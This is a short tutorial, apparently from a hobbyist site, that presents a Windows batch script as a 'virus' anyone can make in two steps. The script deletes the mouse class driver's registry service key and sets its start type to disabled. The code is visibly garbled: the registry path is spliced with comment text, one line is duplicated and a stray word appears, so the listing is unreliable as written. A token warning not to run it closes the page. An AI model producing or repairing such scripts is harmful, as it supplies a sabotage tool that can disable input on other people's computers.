Now it's your time, don't take viruses so lightly because a virus can do anything which you want. Today i'm creating a virus which can disable your mouse and it will. You only need two steps to follow and your virus is created.
Step 1: Open Notepad.
Step 2: Copy this code and paste it to Notepad.
use
set key="HKEY_LOCALrem ---------------------------------
rem Disable Mo_MACHINE\system\CurrentControlSet\Services\Mouclass"
rem Disable Mo_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
And it's done save this with Anyname.bat
Warning: Please Don't try this on your PC.